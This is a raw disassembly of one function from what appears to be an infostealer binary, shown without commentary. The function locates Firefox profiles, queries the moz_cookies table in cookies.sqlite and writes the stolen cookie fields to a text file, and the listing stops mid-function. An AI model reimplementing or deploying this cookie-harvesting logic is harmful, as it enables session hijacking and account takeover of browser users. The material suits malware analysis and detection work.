Function at 0x140035680
Capabilities:
Gather firefox profile information
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x780
mov rax, qword [0x140342fc0]
xor rax, rsp
mov qword [rsp + 0x778], rax
xor ebx, ebx
mov edi, ebx
mov dword [rsp + 0x40], ebx
lea rax, [rsp + 0x560]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140035dfa
xorps xmm0, xmm0
movups xmmword [rsp + 0x428], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x438], xmm1
lea rax, [rsp + 0x560]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], bx
jne 0x140035710
lea rdx, [rsp + 0x560]
lea rcx, [rsp + 0x428]
call fcn.140039770
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x370], xmm0
mov qword [rsp + 0x380], rax
lea rdx, [rsp + 0x428]
lea rcx, [rsp + 0x370]
call fcn.140035040
nop
mov rsi, qword [rsp + 0x370]
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x88], rax
lea r14, [0x140343cb0]
mov r15d, 2
mov qword [rsp + 0x70], rsi
cmp rsi, qword [rsp + 0x88]
je 0x140037631
mov qword [rsp + 0x78], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
mov r8d, gethostname
lea rdx, str.92_99_111_111_107_105_101_115_46_115_113_108_105_116_101
lea rcx, [rsp + 0x270]
call fcn.140039770
nop
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x290]
call fcn.140031450
nop
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x14003582c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035827
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003787b
call fcn.14025e770
lea r8, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 0xf
seta r9b
cmova r8, qword [rsp + 0x290]
add r8, qword [rsp + 0x2a0]
lea rdx, [rsp + 0x290]
test r9b, r9b
cmovne rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0xf0]
call fcn.14005b140
nop
mov r8, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140035881
mov r8, qword [rsi]
mov r9, qword [rsi + 0x10]
mov rcx, rax
call fcn.140069d00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or edi, 1
movups xmmword [rsp + 0x250], xmm0
movups xmmword [rsp + 0x260], xmm1
mov rdx, qword [rsp + 0x108]
cmp rdx, 7
jbe 0x1400358fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400358f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037690
call fcn.14025e770
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], bx
mov r8d, 3
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x190]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x140], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x130], ecx
mov qword [rsp + 0x138], r14
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x140]
test eax, eax
je 0x14003757a
cmp eax, 1
je 0x140037582
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
mov r8d, 0x4e
lea rdx, str.92_70_114_101_100_121_95_67_111_111_107_105_101_115_46_115_113_108_105_116_101
lea rcx, [rsp + 0x270]
call fcn.140039770
nop
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x2b0]
call fcn.140031450
nop
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x140035a11
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035a0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037852
call fcn.14025e770
lea r8, [rsp + 0x2b0]
cmp qword [rsp + 0x2c8], 0xf
seta r9b
cmova r8, qword [rsp + 0x2b0]
add r8, qword [rsp + 0x2c0]
lea rdx, [rsp + 0x2b0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2b0]
lea rcx, [rsp + 0xd0]
call fcn.14005b140
nop
mov r8, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140035a66
mov r8, qword [rsi]
mov r9, qword [rsi + 0x10]
mov rcx, rax
call fcn.140069d00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or edi, 2
mov dword [rsp + 0x40], edi
movups xmmword [rsp + 0x230], xmm0
movups xmmword [rsp + 0x240], xmm1
mov rdx, qword [rsp + 0xe8]
cmp rdx, 7
jbe 0x140035ae7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035ae2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037696
call fcn.14025e770
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 7
mov word [rsp + 0xd0], bx
mov r8d, 3
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x1a0]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xc0], ecx
mov qword [rsp + 0xc8], r14
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x140035b8e
cmp eax, 1
je 0x140035b96
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
call fcn.1402400ac
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003769c
jmp 0x140035b96
test ecx, ecx
jne 0x1400376b5
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x250]
cmp qword [rsp + 0x268], 7
cmova rcx, qword [rsp + 0x250]
xor r8d, r8d
call fcn.14023f764
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400376d2
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
lea rdx, [rsp + 0x200]
call fcn.140180f60
mov rcx, qword [rsp + 0x200]
test eax, eax
je 0x140035e2c
call fcn.14017ede0
nop
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x140035c66
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035c61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037852
call fcn.14025e770
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x140035cc5
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035cc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037858
call fcn.14025e770
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2b0], 0
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x140035d29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035d24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400376f3
call fcn.14025e770
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0xf
jbe 0x140035d88
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035d83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400376f9
call fcn.14025e770
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x290], 0
lea rcx, [rsp + 0x370]
call fcn.140040900
nop
mov rdx, qword [rsp + 0x440]
cmp rdx, 7
jbe 0x140035dfa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x428]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035df5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400376ff
call fcn.14025e770
mov rcx, qword [rsp + 0x778]
xor rcx, rsp
call fcn.14025e750
lea r11, [rsp + 0x780]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x1f8]
mov r8d, 0xffffffff
lea rdx, str.SELECT_host__name__path__expiry__value__isSecure__isHttpOnly_FROM_moz_cookies
call fcn.140181de0
test eax, eax
je 0x140036050
mov rcx, qword [rsp + 0x200]
call fcn.14017ede0
nop
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x140035ea9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035ea4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037852
call fcn.14025e770
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x140035f08
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035f03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037858
call fcn.14025e770
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2b0], 0
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x140035f6c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035f67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400376f3
call fcn.14025e770
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0xf
jbe 0x140035fcb
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035fc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400376f9
call fcn.14025e770
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x290], 0
lea rcx, [rsp + 0x370]
call fcn.140040900
nop
mov rdx, qword [rsp + 0x440]
cmp rdx, 7
jbe 0x140035dfa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x428]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035df5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400376ff
jmp 0x140035df5
mov rcx, qword [rsp + 0x1f8]
call fcn.140182a40
cmp eax, 0x64
jne 0x140037375
xor edx, edx
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov rsi, rax
mov edx, 1
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov r14, rax
mov edx, r15d
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov r15, rax
mov edx, 3
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov r12, rax
mov edx, 4
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov r13, rax
mov edx, 5
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov qword [rsp + 0x80], rax
mov edx, 6
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov rdx, rax
mov qword [rsp + 0x90], rax
test rsi, rsi
je 0x140037343
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rsi + rcx], 0
jne 0x140036111
test rcx, rcx
je 0x140037343
test r14, r14
je 0x140037343
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r14 + rax], 0
jne 0x140036133
test rax, rax
je 0x140037343
test r15, r15
je 0x140037343
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x140036156
test rax, rax
je 0x140037343
test r12, r12
je 0x140037343
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [r12 + rax], 0
jne 0x140036180
test rax, rax
je 0x140037343
test r13, r13
je 0x140037343
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rax + r13], 0
jne 0x1400361a3
test rax, rax
je 0x140037343
cmp qword [rsp + 0x80], 0
je 0x140037343
test rdx, rdx
je 0x140037343
lea r8, str.Cookies
lea rdx, [0x14035d6f0]
lea rcx, [rsp + 0x2d0]
call fcn.1400256d0
nop
lea rdx, [rsp + 0x2d0]
cmp qword [rsp + 0x2e8], 7
cmova rdx, qword [rsp + 0x2d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, qword [rsp + 0x2e0]
lea rcx, [rsp + 0x48]
call fcn.140039770
or edi, 0x1800
mov dword [rsp + 0x68], edi
mov dword [rsp + 0x40], edi
mov r8d, 3
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x160], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
lea rax, [0x140343cb0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x160]
test eax, eax
je 0x1400362d6
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400362e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400362e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037705
jmp 0x1400362e3
mov dil, 1
test ecx, ecx
jne 0x14003770b
jmp 0x140036297
call fcn.14025e770
test dil, dil
je 0x1400363a6
lea rdx, [rsp + 0x2d0]
cmp qword [rsp + 0x2e8], 7
cmova rdx, qword [rsp + 0x2d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, qword [rsp + 0x2e0]
lea rcx, [rsp + 0x48]
call fcn.140039770
mov edi, dword [rsp + 0x68]
or edi, 0xc000
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
call fcn.14023fa1c
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140037725
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400363aa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003639f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003773b
call fcn.14025e770
jmp 0x1400363aa
mov edi, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
call fcn.140046580
inc rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rdx + 0x10]
cmp rcx, rax
jb 0x140037741
sub rcx, rax
mov r8, 0xffffffffffffffff
cmp rcx, r8
cmovb r8, rcx
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x140036402
mov rcx, qword [rdx]
lea rdx, [rcx + rax*2]
lea rcx, [rsp + 0x270]
call fcn.140039770
bts edi, 0xd
mov dword [rsp + 0x40], edi
lea rdx, [rsp + 0x2d0]
cmp qword [rsp + 0x2e8], 7
seta r9b
cmova rdx, qword [rsp + 0x2d0]
mov rax, qword [rsp + 0x2e0]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x2d0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2d0]
lea r9, [rsp + 0x44]
lea rcx, [rsp + 0x350]
call fcn.14005d8e0
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rsp + 0x360]
sub rax, rcx
cmp rax, 1
jb 0x140037747
lea r9, [rsp + 0x350]
cmp qword [rsp + 0x368], 7
cmova r9, qword [rsp + 0x350]
mov qword [rsp + 0x30], 1
lea rax, [0x1402f3474]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x350]
movzx edx, byte [rsp + 0x44]
lea rcx, [rsp + 0x98]
call fcn.140046c50
or edi, 4
mov dword [rsp + 0x40], edi
mov r8d, 8
lea rdx, str.Firefox_
lea rcx, [rsp + 0x98]
call fcn.140046ad0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x220], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or edi, 8
mov dword [rsp + 0x40], edi
lea rdx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rdx, qword [rsp + 0x270]
mov r8, qword [rsp + 0x280]
lea rcx, [rsp + 0x210]
call fcn.140046ad0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or edi, 0x10
mov dword [rsp + 0x40], edi
mov r8d, 4
lea rdx, str..txt
lea rcx, [rsp + 0x48]
call fcn.140046ad0
xorps xmm0, xmm0
movups xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x330], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x340], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or edi, 0x20
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14003664b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036646
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003774d
call fcn.14025e770
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], bx
mov rdx, qword [rsp + 0x228]
cmp rdx, 7
jbe 0x1400366a6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400366a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037753
call fcn.14025e770
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], 7
mov word [rsp + 0x210], bx
mov rdx, qword [rsp + 0xb0]
cmp rdx, 7
jbe 0x14003670a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036705
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037759
call fcn.14025e770
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], bx
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x450]
call fcn.14029f290
lea rdx, [rsp + 0x330]
cmp qword [rsp + 0x348], 7
cmova rdx, qword [rsp + 0x330]
mov r8d, 8
lea rcx, [rsp + 0x450]
call fcn.14004b8b0
mov rax, qword [rsp + 0x450]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x450], rax
mov rax, qword [rsp + 0x450]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x44c], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x1400367c0
mov rdx, rsi
lea rcx, [rsp + 0x210]
call fcn.140011f20
nop
lea rdx, [rsp + 0x210]
cmp qword [rsp + 0x228], 0xf
seta r9b
cmova rdx, qword [rsp + 0x210]
mov r8, qword [rsp + 0x220]
add r8, rdx
lea rdx, [rsp + 0x210]
test r9b, r9b
cmovne rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x408]
call fcn.14005b140
or edi, 0x40
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x228]
cmp rdx, 0xf
jbe 0x14003686f
inc rdx
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003686a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003775f
call fcn.14025e770
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x210], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r14 + r8], 0
jne 0x1400368a4
mov rdx, r14
lea rcx, [rsp + 0x48]
call fcn.140011f20
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
seta r9b
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
add r8, rdx
lea rdx, [rsp + 0x48]
test r9b, r9b
cmovne rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x3e8]
call fcn.14005b140
bts edi, 7
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140036939
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037765
call fcn.14025e770
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r15 + r8], 0
jne 0x140036970
mov rdx, r15
lea rcx, [rsp + 0x210]
call fcn.140011f20
nop
lea rdx, [rsp + 0x210]
cmp qword [rsp + 0x228], 0xf
seta r9b
cmova rdx, qword [rsp + 0x210]
mov r8, qword [rsp + 0x220]
add r8, rdx
lea rdx, [rsp + 0x210]
test r9b, r9b
cmovne rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x3c8]
call fcn.14005b140
bts edi, 8
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x228]
cmp rdx, 0xf
jbe 0x140036a20
inc rdx
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036a1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003776b
call fcn.14025e770
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x210], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], 0
jne 0x140036a55
mov rdx, r12
lea rcx, [rsp + 0x48]
call fcn.140011f20
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
seta r9b
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
add r8, rdx
lea rdx, [rsp + 0x48]
test r9b, r9b
cmovne rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x3a8]
call fcn.14005b140
bts edi, 9
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140036aea
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036ae5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037771
call fcn.14025e770
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r8 + r13], 0
jne 0x140036b20
mov rdx, r13
lea rcx, [rsp + 0x210]
call fcn.140011f20
nop
lea r8, [rsp + 0x210]
cmp qword [rsp + 0x228], 0xf
seta r9b
cmova r8, qword [rsp + 0x210]
add r8, qword [rsp + 0x220]
lea rdx, [rsp + 0x210]
test r9b, r9b
cmovne rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x388]
call fcn.14005b140
bts edi, 0xa
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x228]
cmp rdx, 0xf
jbe 0x140036bcd
inc rdx
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036bc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037777
call fcn.14025e770
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x210], 0
mov rax, qword [rsp + 0x80]
cmp byte [rax], 0x31
jne 0x140036c00
cmp byte [rax + 1], 0
jne 0x140036c00
mov eax, ebx
jmp 0x140036c05
sbb eax, eax
or eax, 1
lea rdx, str.TRUE
test eax, eax
lea r14, str.FALSE
cmovne rdx, r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], rbx
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140036c40
lea rcx, [rsp + 0x310]
call fcn.140039770
nop
mov rax, qword [rsp + 0x90]
cmp byte [rax], 0x31
jne 0x140036c70
cmp byte [rax + 1], 0
jne 0x140036c70
mov eax, ebx
jmp 0x140036c75
sbb eax, eax
or eax, 1
lea rdx, str.TRUE
test eax, eax
cmovne rdx, r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x140036ca4
